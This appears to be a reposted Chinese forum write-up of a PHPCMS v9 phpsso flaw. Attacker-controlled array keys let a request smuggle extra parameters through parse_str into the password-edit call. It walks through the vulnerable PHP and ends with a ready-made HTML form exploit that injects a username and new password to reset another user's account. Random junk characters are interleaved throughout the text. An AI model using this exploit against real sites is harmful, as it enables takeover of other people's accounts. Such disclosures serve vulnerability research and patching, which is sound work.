提到的通行证的代码:
2 m& M4 n/ A. J3 ?6 P
' D8 I$ M- Q6 v; Z" X
9 i$ B/ w1 E( u+ |6 xparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);+ m9 A/ U# }+ S+ L$ }1 @' ^
( @4 i! K5 J# T6 I9 Z6 `' m* _4 e- a在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
0 S, J, D" j) ~2 w$ A, X6 g- R0 P1 z' f8 |4 d
我把它留给了你们。. R9 c4 y$ d9 {* `" k$ p
不知道你们发现了它没有。
3 e! k, V G$ |1 M: r
1 A$ D3 y: c: P( R: f5 U) Y我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
0 ]* I" Q' a5 x" H) r8 k4 m8 l2 l
+ a/ F/ l6 e6 S8 a% U! Q所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。3 U2 C! a7 }8 g; D" _9 u
# V8 m! A6 u' M/ |. R/ l, i
也就是( w0 X, \2 f2 T, i* j
" i7 H! I( ~+ N
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。. U+ W- n7 I _2 X' p9 N, n
8 H* v+ B+ H- [" K" E8 t# W
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。# ]' e: u9 I! @9 l" F/ X# l- V
9 v4 j' U z5 R9 F
7 f. F6 C/ p- w* l& d) A, E4 _( _
其实我们有这样的机会,看看代码,如下:3 |- b- z/ K& R' Q9 t E7 [
" \# O1 o* d: S: [5 W; e1 v
3 e& v; Y; h! a. g5 `" |4 x7 k k
public function auth_data($data) {
2 i' B* v/ D3 U $s = $sep = '';0 g: R9 @. ]6 i0 e* g
foreach($data as $k => $v) {7 y6 S$ U( H/ X2 B* i
if(is_array($v)) {
, y. U& e' R, p2 N0 G $s2 = $sep2 = '';2 B: N9 j. f% D5 L1 x
foreach($v as $k2 => $v2) {. E0 s `) j$ _& q+ R6 m; q. w( U; Z, a
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
8 W$ ~- ~) o4 Q. j $sep2 = '&';
# B; P9 T7 K; Q1 i% N7 j' E4 \& D r }8 T6 e7 s( g9 W0 d
$s .= $sep.$s2;/ \9 T: C$ h6 A6 m- P- W, Q
} else {% S6 H# W4 I9 N1 ^ d( V
$s .= "$sep$k=".$this->_ps_stripslashes($v);$ r3 H- J& ?. T
}- q3 K* V6 u) ?$ y1 B$ m5 V
$sep = '&';
" C; G1 u! R; t. H3 {& K' l+ P7 m& k }; Q. ^5 v) D! D4 E: c5 q, s: B) l1 s
+ l: u8 d2 e2 f4 L m+ x. i3 ~; b
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));: T+ @! `' p( y8 T2 ^' A
return $auth_s;
, P T4 z& g. m* a$ ?8 x! u6 ] }' V) y6 ^+ c3 |- k7 }# B
- X+ y' m! g4 V7 Y4 @* K/ `可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。9 k3 b p+ O* \6 d2 M
( {: a: E1 ?: s举个例子( t( z. I' j1 F$ ^( a
1 Z G9 f2 {( y& r
$a[aaa=a&bbb] = 'a';* l9 ]8 j) h6 |: f$ r1 a) _) G
+ t" }3 v5 T& h" l% ]
会变成aaa=a&bbb=a1 g/ U/ T) {2 V( c9 | W$ X
( x6 j' }/ i0 s- F% x- |
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
# n; B0 B0 w0 F& R& k: ~' A) L {2 M' k" _1 s
这个时候,我们可以再去看一个函数。% d4 B+ w' R" U& }& \
$ ]3 M5 A! Z- N
就在这个文件内:
; P' Q9 @4 J; b' l
& e C* l7 Z% R( A# y& N4 D
- @& _( D+ U. e5 Ppublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {8 Y8 S6 Y7 @' H
if($email && !$this->_is_email($email)) {, C& c3 H# U# O: w3 r7 _
return -4;4 W$ ~( s4 P' x: q/ k+ G
}
* f+ v3 T+ P$ x {" f3 s% J6 B return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
. r3 e' ~: e( m2 J8 `4 u! m, X }
1 q+ K0 C; k$ u( r/ a! S9 @
( B4 y- R" ?- ~: V这是向通行证发了这样一个请求。1 Z: v" A6 M& f% c
+ s2 V& A' N# ]! j% c6 X我们再跟到通信证代码里去看看,就会有所发现。8 x' ]$ M) `9 e3 v; c( s h
: M) y8 b/ Z% j: U2 H
2 w* f. G* l* z8 a( s: V7 }: Mpublic function edit() {% E4 C9 e6 i6 K- J, Z
//能省就省,太长了不是吗?7 C) J* g0 ^2 ?! k9 C# \
, ]9 i% L2 t9 g) v0 t( \
if($this->username) {
# I# ?/ e% Z" u1 E6 h- a* V//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
. ^2 ^8 b- l6 V) @; \) ?/ V% u $res = $this->db->update($data, array('username'=>$this->username));
/ h# J; \; L2 h e& x } else {! U$ Z' J5 G& k$ w* I
file_put_contents('typeb.txt',print_r($data,1).$this->uid);
. ~" O6 u! G' g) u$ X! s+ i& Z $res = $this->db->update($data, array('uid'=>$this->uid));2 ?7 @) o! [' z+ @/ \8 v
}5 B7 s# V( b/ R
& K* k+ b1 D3 c5 Z) T4 ]5 K好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:4 I- O: u9 N* G- ~
% A+ q2 N h+ A4 l# b, j! @$ `4 V" y
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
- d. ^* c: p. i6 ~" R4 t
) K/ s+ R) X0 `" C- p很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
. G# z6 [# \# ^4 R8 \9 O- m# ~2 |5 o
我当然找到了:4 O) }- x8 |7 \ h3 t0 {2 {4 E/ b
phpcms9/phpcms/modules/member/index.php) r$ Y; m5 E3 Y; m8 [( c2 c, W
& S% ?, b0 Y: L$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);" \ k% x% R3 b, ?! R% s& [
+ H1 J/ A' Z& [( s
然后就没有然后了。
( g3 V5 S0 K. d0 l- `' r i4 z
4 T3 ?8 i$ y2 {) u, d4 O4 n+ U<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
$ ~9 S H2 u N <table width="100%" cellspacing="0" class="table_form"> y# e& ^% \) L7 U2 T2 R# Y" h) E
<tr># G% u/ ^" m V# D, E7 U5 }
<th width="80">邮箱:</th> 9 {& K3 u; ?0 l& L) x9 q# ]
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>+ F9 \7 x# J4 t+ n
</tr>
7 m2 m+ s8 |( x; p <tr>3 ]' w' }# G0 Y1 o0 ?
<th width="80">原密码:</th> 2 X1 Y+ F& W! X6 Q8 U/ Y( x; u: F
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
, J1 H. c; S) ^( q. g4 ]$ b </tr> j6 Q# Q4 t; n4 n- g
<tr>0 d& [# o6 \/ {, P* G
<th>新密码:</th>
& M0 g+ R) Y4 |9 \8 A. Y <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
$ D8 |5 g" e9 o j1 N$ Y. U+ H </tr>* W+ U, b. i- ]( F- m
<th></th>: l9 R. s6 [) n: V; r! ~: V: I
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>7 f( a1 {7 h. `5 W, U- ]
</tr>
( n. z4 w0 I- H+ }3 c </table>
8 f# H- s/ F6 q" V4 S c
# t8 v3 t0 Z" l : @" l8 J" O, ]2 C" M4 o8 S6 ~" z
</form>
. T9 g' E" z3 F% r |